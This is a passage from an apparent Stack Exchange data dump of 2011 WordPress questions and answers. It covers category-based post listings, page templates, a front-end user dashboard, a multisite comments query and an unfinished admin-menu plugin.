$Questions_Post_TYPE_ID&#xA;);&#xA;query_posts($q);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-15T03:41:36.603" LastActivityDate="2011-01-15T03:41:36.603" CommentCount="4" />
  <row Id="7020" PostTypeId="2" ParentId="7017" CreationDate="2011-01-15T03:48:07.710" Score="2" ViewCount="" Body="&lt;p&gt;I have done that before by using the Gigya Socialize plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check it out&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/gigya-socialize-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gigya-socialize-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T03:48:07.710" />
  <row Id="7021" PostTypeId="1" CreationDate="2011-01-15T04:01:41.873" Score="0" ViewCount="268" Body="&lt;p&gt;I have been looking all over the internet for this, and have not yet found an answer I could use.&lt;br&gt;&#xA;Found out that I may can use something called query_posts or get_posts, but I have no idea how to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't there some sort of plugin that could do this for me? Say if I made a post under the category Guides, with the tag of Computer and Internet, it should be listed under a page called Guides for Computers.&lt;br&gt;&#xA;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="2236" LastActivityDate="2011-01-15T04:58:43.443" Title="Show posts on a page based on a category and tag(s)" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;tags&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="7022" PostTypeId="2" ParentId="7009" CreationDate="2011-01-15T04:09:56.980" Score="6" ViewCount="" Body="&lt;p&gt;paste this in your theme function.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'Per_category_basis');&#xA;&#xA;function Per_category_basis($query){&#xA;    if ($query-&amp;gt;is_category) {&#xA;        // category named 'books' show 12 posts&#xA;        if (is_category('books'){&#xA;            $query-&amp;gt;set('posts_per_page', 12);&#xA;        }&#xA;        // category With ID = 32 show only 5 posts&#xA;        if (is_category('32'){&#xA;            $query-&amp;gt;set('posts_per_page', 5);&#xA;        }&#xA;    }&#xA;    return $query;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;explanation: &#xA;first we check if its actually a category because we don't want to change anything else.&#xA;if so we check to see and change the number of posts to show, on the first one we check by category name 'books' and assign the value of 12 posts_per_page the second one is by category id of '32' and we assign the value of 5 posts_per_page just to show you that you can use either one.&#xA;and you can just add as many checks and assignments.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T04:09:56.980" />
  <row Id="7023" PostTypeId="2" ParentId="7021" CreationDate="2011-01-15T04:21:07.583" Score="0" ViewCount="" Body="&lt;p&gt;what you are looking for are SUB-CATEGORIES,&#xA;under the category guide create a sub categories named &quot;Computers and Internet&quot;&#xA;then create a post and instead of tagging it &quot;Computers and Internet&quot;&#xA;just set it in the sub category named Computers and Internet.&#xA;that way you will get a page with all the guides filed under Computers and Internet&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T04:21:07.583" />
  <row Id="7024" PostTypeId="2" ParentId="7021" CreationDate="2011-01-15T04:51:17.100" Score="1" ViewCount="" Body="&lt;p&gt;I've just recently done something like this using the Custom Post Type UI  plugin and creating a template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea goes something like this... &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Custom Post Type UI, Watch the video, add a new post type called &quot;Computer Guides&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next you're going to create a page template which will list all your computer guides. To do this is fairly simple. You just create a PHP file, call the template name in the comments section, call your header, begin the post query and then call your sidebar and footer, if needed. Here is an example of my custom page template, you can basically copy/pase this into your own file. It doesn't matter what you name it, as long as it's something.php and then upload it to your theme directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: YOUR PAGE THEME NAME&#xA;*/&#xA;?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot; class=&quot;one-column&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;YOUR STYLE DIV (not mandatory)&quot;&amp;gt;&#xA;&amp;lt;h3 align=&quot;center&quot;&amp;gt; YOUR PAGE TITLE &amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php &#xA;$args = array( 'post_type' =&amp;gt; 'YOUR CUSTOM POST TYPE SLUG', 'numberposts' =&amp;gt; -1 );&#xA;$lastposts = get_posts( $args );&#xA;foreach($lastposts as $post) : setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&amp;lt;?php get_sidebar();?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the dirty work out of the way, just go ahead and create a new WP page, title it &quot;Computer Guides&quot; and then select your new page template in the drop box to the right. Hit publish and view the page to make sure nothing weird has happened.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next go ahead and click &quot;Add Computer Guide&quot; on the left admin panel, which should have showed up when you created your post type. Type in the guide, and hit publish. The new guide should show up as an excerpt on your &quot;Computer Guides&quot; page, when a user clicks the title they will be taken to the full post. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe the answer above me would also work and be easier, this is how I set mine up because it was nicer for the end-user to work with. Very clear on where to post a new &quot;Computer Guide&quot; for instance, also separates the content rather nicely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside to this method in your case might be that you would have to create a few post types and a few templates to accommodate whatever sub-categories you might have. I think the extra work is worth it to be able to have all of your posts organized on the dashboard as well as the front-end, and have them in an excerpt list instead of a long pagination. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck :) &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-15T04:51:17.100" />
  <row Id="7025" PostTypeId="2" ParentId="7021" CreationDate="2011-01-15T04:58:43.443" Score="1" ViewCount="" Body="&lt;p&gt;Creating a parent category called &quot;Guides&quot; with two children categories &quot;Computers&quot; and &quot;Internet&quot; would do what you wanted. Just create the categories and add the parent category in the Nav Menu. The rest would work automatically.&lt;/p&gt;&#xA;" OwnerUserId="2474" LastActivityDate="2011-01-15T04:58:43.443" CommentCount="1" />
  <row Id="7026" PostTypeId="1" AcceptedAnswerId="7027" CreationDate="2011-01-15T05:01:30.177" Score="2" ViewCount="187" Body="&lt;p&gt;I've been all over this site and google, and the WP codex looking for an answer to this one. I know it's out there, and I know it's easy. Maybe has something to do with user_nicename, but I just can't make it work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do for the site I'm working on is eliminate any need and any ability for the user to see the backend of the blog. This means front-page everything: Login, Post, and if I can swing it - a dash board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I envision changing the &quot;site admin&quot; link on the wp login/logout code to link to a blog page called &quot;User Dashboard&quot; there, the user could view a list of their posts and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really reaching for the stars, they should also be able to see a list of comments on their posts, and really really reaching for the stars - some kind of messaging system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently simply trying to get the post list down! I can't figure out how to return the_author post list based on a dynamic setting of where the request is coming from. IE: Only list the current logged in users posts/comments. There is a plugin called Full Author User List or something to that affect, that doesn't work anymore as it's outdated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-17T14:52:18.240" Title="Post list based on the user that is logged in" Tags="&lt;users&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="7027" PostTypeId="2" ParentId="7026" CreationDate="2011-01-15T05:34:25.193" Score="2" ViewCount="" Body="&lt;p&gt;there you go, i'm not the only one trying to bring back-end functionality to the front-end.&#xA;anyway its not that hard go to your &quot;USER DASHBOARD&quot; template's file and locate where the loop starts something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just above it paste this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* First get the user info */&#xA;get_currentuserinfo();&#xA;/* Then query_posts by user id */&#xA;query_posts(array('author'=&amp;gt;$current_user-&amp;gt;ID));&#xA;/* And Last just loop thrugh the posts */&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T05:34:25.193" CommentCount="5" />
  <row Id="7028" PostTypeId="2" ParentId="7014" CreationDate="2011-01-15T05:54:23.687" Score="1" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sqlstr = '';&#xA;$blog_list = get_blog_list( 0, 'all' );&#xA;$sqlstr = &quot;SELECT 1 as blog_id, comment_date, comment_id, comment_post_id, comment_content, comment_date_gmt, comment_author, comment_author_email from &quot;.$table_prefix .&quot;comments where comment_approved = 1 &quot;;&#xA;$uni = '';&#xA;foreach ($blog_list AS $blog) {&#xA;    $uni = ' union ';&#xA;    $sqlstr .= $uni . &quot; SELECT &quot;.$blog['blog_id'].&quot; as blog_id, comment_date, comment_id, comment_post_id, comment_content, comment_date_gmt, comment_author, comment_author_email   from &quot;.$table_prefix .$blog['blog_id'].&quot;_comments where comment_approved = 1 &quot;;                &#xA;}&#xA;$limit = ''; //set your limit&#xA;$limit = ' LIMIT 0, '. (int)$wgt_count;&#xA;$sqlstr .= &quot; ORDER BY comment_date_gmt desc &quot; . $limit; &#xA;$comm_list = $wpdb-&amp;gt;get_results($sqlstr, ARRAY_A);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you might want to have a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/diamond-multisite-widgets/&quot; rel=&quot;nofollow&quot;&gt;diamond multisite widgets plugin&lt;/a&gt;&#xA;witch already implements this a a widget and as a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hopes this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T05:54:23.687" CommentCount="1" />
  <row Id="7029" PostTypeId="1" AcceptedAnswerId="7083" CreationDate="2011-01-15T06:21:34.110" Score="7" ViewCount="995" Body="&lt;h2&gt;This question is a bit unique.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is in part a &lt;em&gt;&quot;challenge&quot;&lt;/em&gt; I'm issuing to the WordPress team &lt;em&gt;(&lt;strong&gt;or anyone else&lt;/strong&gt;)&lt;/em&gt; related to trac tickets: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16048&quot; rel=&quot;nofollow&quot;&gt;#16048&lt;/a&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16050&quot; rel=&quot;nofollow&quot;&gt;#16050&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16204&quot; rel=&quot;nofollow&quot;&gt;#16204&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Goal&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The goal is to get around the three (3) issues illustrated in the screenshot&lt;/em&gt; below when trying to modify the WordPress Admin menu section:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the &lt;em&gt;&quot;Microsite&quot;&lt;/em&gt; submenu page to be highlighted when editing an Attorney &lt;i&gt;(for this we need to somehow be able to apply &quot;current&quot; to the submenu item,_ and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16050&quot; rel=&quot;nofollow&quot;&gt;some hooks in the _wp_menu_output() function&lt;/a&gt; would provide what's needed here)&lt;/i&gt;, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the Attorney Menu Page link to link to &lt;code&gt;/wp-admin/edit.php?post_type=attorney&lt;/code&gt; when editing an Attorney &lt;i&gt;(and those &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16050&quot; rel=&quot;nofollow&quot;&gt;same needed hooks in the _wp_menu_output() function&lt;/a&gt; could handle this)&lt;/i&gt;, and &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the &lt;em&gt;&quot;Microsite&quot;&lt;/em&gt; link not to trigger a &lt;em&gt;&quot;You do not have sufficient permissions to access this page&quot;&lt;/em&gt; error *(this is the nastiest one to resolve, and a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16204&quot; rel=&quot;nofollow&quot;&gt;hook on the return value of &lt;code&gt;user_can_access_admin_page()&lt;/code&gt;&lt;/a&gt; could handle this issue nicely.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110115-010057.png&quot; alt=&quot;Screenshot for The Great WordPress Admin Menu Challenge of Jan 2011&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;More than just my use-case&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These three (3) issues are for my use-case but their are emblematic of the issues related to configure the admin menus in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several on the WordPress team said that it's easy and thus implied I'm missing something &lt;em&gt;(which may be right)&lt;/em&gt; but I've looked at this problem for weeks and not figured out how to get around it so I created the plugin you see below (&lt;a href=&quot;https://gist.github.com/780709&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;also downloadable from Gist&lt;/strong&gt;&lt;/a&gt;) as the simplest use-case example of the issues. The code in &lt;code&gt;admin_menu2()&lt;/code&gt; is rather hackish but that's pretty much what's required to modify the Admin Menus in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I did not try to use the new &lt;code&gt;remove_menu_page()&lt;/code&gt; nor the new &lt;code&gt;remove_submenu_page()&lt;/code&gt; functions in 3.1 because it would have taken longer to create the plugin -- I already had the code in &lt;code&gt;admin_menu2()&lt;/code&gt; from an existing project -- and I don't believe they would address the problem anyway.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What do I need?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I need one of two (2) things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A solution to the problems that I expose with this plugin and explain in this question and in the screenshot &lt;em&gt;(BTW, &lt;strong&gt;I'll disqualify your solution&lt;/strong&gt; if you use &lt;a href=&quot;http://php.net/manual/en/book.outcontrol.php&quot; rel=&quot;nofollow&quot;&gt;PHP Output Buffering&lt;/a&gt; to solve any part of this)&lt;/em&gt;, or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To have the WordPress Team recognize that there is indeed a need for these hooks and to get them to reconsider their position on the tickets.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;How do you Take the Challenge?&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install a &lt;a href=&quot;http://wordpress.org/news/2011/01/wordpress-3-1-release-candidate-2/&quot; rel=&quot;nofollow&quot;&gt;pristine new copy of WordPress 3.1&lt;/a&gt; &lt;em&gt;(any revision will probably do)&lt;/em&gt;,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download, install and activate the &lt;em&gt;&quot;The Great WordPress Admin Menu Challenge of Jan 2011&quot;&lt;/em&gt; plugin below &lt;em&gt;(or &lt;a href=&quot;https://gist.github.com/780709&quot; rel=&quot;nofollow&quot;&gt;download the plugin from Gist&lt;/a&gt;)&lt;/em&gt;, and then &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Follow the instructions found on the plugin page for this plugin &lt;em&gt;(see the following screenshot)&lt;/em&gt; but basically load the screenshot you see above and then try to figure out the three (3) issues described:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Plugins_%E2%80%B9_WordPress_3.1_Test_Site_%E2%80%94_WordPress-20110115-011459.png&quot; alt=&quot;Screenshot of &amp;quot;The Great WordPress Admin Menu Challenge of Jan 2011&amp;quot; plugin instructions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;One Ray of Hope&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Fortunately &lt;a href=&quot;https://twitter.com/nacin/status/26076292608692224&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin of the WordPress team offered to look at this&lt;/a&gt; once I'd coded it so I'm primarily posting here for him to review and comment as well as having others to comment.   I know he is busy but I do hope he &lt;strong&gt;(or even you)&lt;/strong&gt; can take the time to install this plugin on a pristine install of v3.1 and see if he can resolve the issue.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;If you Agree the Challenge is Impossible?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If after trying this challenge you come to the same conclusion as me, and if you'd like to see the WordPress Admin menus be more configurable please comment on these trac tickets (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16048&quot; rel=&quot;nofollow&quot;&gt;#16048&lt;/a&gt; - &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16050&quot; rel=&quot;nofollow&quot;&gt;#16050&lt;/a&gt; - &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16204&quot; rel=&quot;nofollow&quot;&gt;#16204&lt;/a&gt;) and vote this question up to show support for it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;I'll Gladly Admit I Missed Something, If I Did&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course it's possible I could be completely brain dead on this and someone could point out exactly how to do it. Actually, I really hope that ends up being the case; I'd rather be wrong and have this working than vice-versa. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;And Here's the Plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;https://gist.github.com/780709&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;downloadable if from Gist&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: The Great WordPress Admin Menu Challenge of Jan 2011&#xA;Description: &amp;lt;em&amp;gt;&quot;The Great WordPress Admin Menu Challenge of Jan 2011&quot;&amp;lt;/em&amp;gt; was inspired by the WordPress team's apparent lack of understanding of the problems addressed by trac tickets &amp;lt;a href=&quot;http://core.trac.wordpress.org/ticket/16048&quot;&amp;gt;#16048&amp;lt;/a&amp;gt; and &amp;lt;a href=&quot;http://core.trac.wordpress.org/ticket/16050&quot;&amp;gt;#16050&amp;lt;/a&amp;gt; &amp;lt;em&amp;gt;(See also: &amp;lt;a href=&quot;http://core.trac.wordpress.org/ticket/16204&quot;&amp;gt;#16204&amp;lt;/a&amp;gt;)&amp;lt;/em&amp;gt; and suggestion that the &amp;lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&amp;gt;Admin Menu Editor&amp;lt;/a&amp;gt; plugin handles the use-cases that the tickets address. Debate spilled over onto Twitter with participation from &amp;lt;a href=&quot;http://twitter.com/nacin&quot;&amp;gt;@nacin&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/aaronjorbin&quot;&amp;gt;@aaronjorbin&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/petemall&quot;&amp;gt;@petemall&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/westi&quot;&amp;gt;@westi&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/janeforshort&quot;&amp;gt;@janeforshort&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/PatchesWelcome&quot;&amp;gt;@PatchesWelcome&amp;lt;/a&amp;gt;; supportive comments from &amp;lt;a href=&quot;http://twitter.com/ramsey&quot;&amp;gt;@ramsey&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/brianlayman&quot;&amp;gt;@brianlayman&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/TheLeggett&quot;&amp;gt;@TheLeggett&amp;lt;/a&amp;gt;, a retweeting of @nacin's simple yet &amp;lt;em&amp;gt;(AFAICT)&amp;lt;/em&amp;gt; insufficient solution by &amp;lt;a href=&quot;http://twitter.com/vbakaitis&quot;&amp;gt;@vbakaitis&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/Viper007Bond&quot;&amp;gt;@Viper007Bond&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/nickopris&quot;&amp;gt;@nickopris&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/Trademark&quot;&amp;gt;@Trademark&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/favstar_pop&quot;&amp;gt;@favstar_pop&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/designsimply&quot;&amp;gt;@designsimply&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/darylkoop&quot;&amp;gt;@darylkoop&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/iamjohnford&quot;&amp;gt;@iamjohnford&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/markjaquith&quot;&amp;gt;@markjaquith&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://twitter.com/JohnJamesJacoby&quot;&amp;gt;@JohnJamesJacoby&amp;lt;/a&amp;gt; and &amp;lt;a href=&quot;http://twitter.com/dd32&quot;&amp;gt;@dd32&amp;lt;/a&amp;gt;. Also see &amp;lt;a href=&quot;http://andrewnacin.com/2010/12/20/better-admin-menu-controls-custom-post-types-wordpress-3-1/#comment-6360&quot;&amp;gt;comments&amp;lt;/a&amp;gt; on @nacin's blog post entitled &quot;&amp;lt;em&amp;gt;Better admin menu handling for post types in WordPress 3.1&amp;lt;/em&amp;gt;.&quot; &amp;lt;strong&amp;gt;The desired goal of the &amp;lt;em&amp;gt;&quot;challenge&quot;&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt; is to simply either to find a solution that has eluded me or, to get those who are dismissing it as solvable without added hooks in WordPress to have a tangible example to explore in hopes they will recognize that there is indeed a need for at least some of the requested hooks. &amp;lt;strong&amp;gt;There are three (3) steps to the challenge:&amp;lt;/strong&amp;gt; 1.) Get the &quot;Microsite&quot; submenu page to be highlighted when editing an Attorney, 2.) Get the Attorney Menu Page link to link &amp;lt;a href=&quot;/wp-admin/edit.php?post_type=attorney&quot;&amp;gt;here&amp;lt;/a&amp;gt;  when editing an Attorney, and 3.) Get the &quot;Microsite&quot; link not to trigger a &quot;You do not have sufficient permissions to access this page&quot; error.  Here is &amp;lt;a href=&quot;http://mikeschinkel.com/websnaps/skitched-20110114-235302.png&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;strong&amp;gt;a screenshot&amp;lt;/strong&amp;gt; that attempts to illustrate the callenge&amp;lt;/a&amp;gt;. The code can be found on gist &amp;lt;a href=&quot;https://gist.github.com/780709&quot;&amp;gt;&amp;lt;strong&amp;gt;here&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;. Activate it as a plugin in a WordPress 3.1 install and go &amp;lt;a href=&quot;/wp-admin/post.php?post=10&amp;amp;action=edit&quot;&amp;gt;&amp;lt;strong&amp;gt;here&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; to see what the screenshot illustrates. &amp;lt;strong&amp;gt;Be sure to load the &amp;lt;a href=&quot;http://mikeschinkel.com/websnaps/skitched-20110114-235302.png&quot; target=&quot;_blank&quot;&amp;gt;screenshot&amp;lt;/a&amp;gt; in another browser tab or window first&amp;lt;/strong&amp;gt;.&#xA;Author:      Mike Schinkel&#xA;Author URI:  http://about.me/mikeschinkel&#xA;Plugin URI:  https://gist.github.com/780709&#xA;*/&#xA;if (!class_exists('TheGreatWordPressAdminMenuChallenge')) {&#xA;  class TheGreatWordPressAdminMenuChallenge {&#xA;    static function on_load() {&#xA;      add_action('init',array(__CLASS__,'init'));&#xA;      add_action('admin_menu',array(__CLASS__,'admin_menu1'));      // Simulates generic &quot;Microsite&quot; plugin&#xA;      add_action('admin_menu',array(__CLASS__,'admin_menu2'),100);  // Simulates website-specific plugin&#xA;      add_action('post_row_actions',array(__CLASS__,'post_row_actions'),10,2);&#xA;    }&#xA;    static function post_row_actions($actions,$post) {&#xA;      $url = admin_url(self::this_microsite_url($post-&amp;gt;ID));&#xA;      $actions = array_merge(array('microsite'=&amp;gt;&quot;&amp;lt;a href=\&quot;{$url}\&quot; title=\&quot;Manage this Microsite\&quot;&amp;gt;Microsite&amp;lt;/a&amp;gt;&quot;),$actions);&#xA;      return $actions;&#xA;    }&#xA;    static function the_microsite_editor() {&#xA;      echo &quot;We are in the Microsite Editor for &quot; . self::post_title();&#xA;    }&#xA;    static function admin_menu1() {&#xA;      if (self::this_post_id() &amp;amp;&amp;amp; in_array(self::this_post_type(),array('attorney','practice_area'))) {&#xA;        add_submenu_page(&#xA;          self::this_parent_slug(),&#xA;          self::microsite_page_title(),&#xA;          self::microsite_page_title(),&#xA;          $capability = 'edit_posts',&#xA;          'microsite',&#xA;          array($microsite,'the_microsite_editor')&#xA;        );&#xA;        global $wp_post_types;&#xA;        $parent_type_meta = $wp_post_types[self::this_post_type()];&#xA;        global $menu;&#xA;        $slug = false;&#xA;        foreach($menu as $index =&amp;gt; $menu_page)&#xA;          if ($menu_page[0]===$parent_type_meta-&amp;gt;label) {&#xA;            $slug = $menu_page[2];&#xA;            break;&#xA;          }&#xA;        if ($slug) {&#xA;          global $pagenow;&#xA;          global $submenu;&#xA;          // Setting this makes gives the link to the microsite in the menu the highlight for &quot;current&quot; menu option&#xA;          global $submenu_file;&#xA;          $submenu_file = self::this_microsite_url();&#xA;          $index = end(array_keys($submenu[$slug]));&#xA;          $submenu[$slug][$index][12] = $submenu_file;&#xA;        }&#xA;      }&#xA;    }&#xA;    static function this_parent_slug() {&#xA;      return &quot;edit.php?post_type=&quot; . self::this_post_type();&#xA;    }&#xA;    static function post_title() {&#xA;      $post_id = self::this_post_id();&#xA;      return ($post_id ? get_post($post_id)-&amp;gt;post_title : false);&#xA;    }&#xA;    static function microsite_page_title() {&#xA;      return 'Microsite for ' . self::post_title();&#xA;    }&#xA;    static function this_post_type($get_post=true) {&#xA;      $post_type = (isset($_GET['post_type']) ? $_GET['post_type'] : false);&#xA;      if (!$post_type &amp;amp;&amp;amp; $get_post) {&#xA;        $post_id = self::this_post_id();&#xA;        $post_type = get_post($post_id)-&amp;gt;post_type;&#xA;      }&#xA;      return $post_type;&#xA;    }&#xA;    static function this_post_id() {&#xA;      $post_id = false;&#xA;      $post_type = self::this_post_type(false);&#xA;      if (isset($_GET[$post_type]))&#xA;        $post_id = intval($_GET[$post_type]);&#xA;      else if (isset($_GET['post']))&#xA;        $post_id = intval($_GET['post']);&#xA;      return $post_id;&#xA;    }&#xA;    static function this_microsite_url($post_id=false) {&#xA;      $post_type = self::this_post_type();&#xA;      $post_id = $post_id ? intval($post_id) : self::this_post_id();&#xA;      return &quot;edit.php?post_type={$post_type}&amp;amp;page=microsite&amp;amp;attorney={$post_id}&quot;;&#xA;    }&#xA;    static function admin_menu2() {&#xA;      // The code required for this is super, nasty, ugly and shouldn't be, but at least it *is* doable&#xA;      global $menu;&#xA;      global $submenu;&#xA;      global $microsite;&#xA;&#xA;      $parent_type = self::this_post_type();&#xA;      foreach(array('attorney','practice_area') as $post_type) {&#xA;        $slug = &quot;edit.php?post_type={$post_type}&quot;;&#xA;        if ($post_type==$parent_type) {  // If a microsite remove everything except the microsite editor&#xA;          $microsite_url = self::this_microsite_url();&#xA;          foreach($submenu[$slug] as $submenu_index =&amp;gt; $submenu_page) {&#xA;            if ($submenu_page[2]!=$microsite_url) {&#xA;              unset($submenu[$slug][$submenu_index]);&#xA;            }&#xA;          }&#xA;        } else 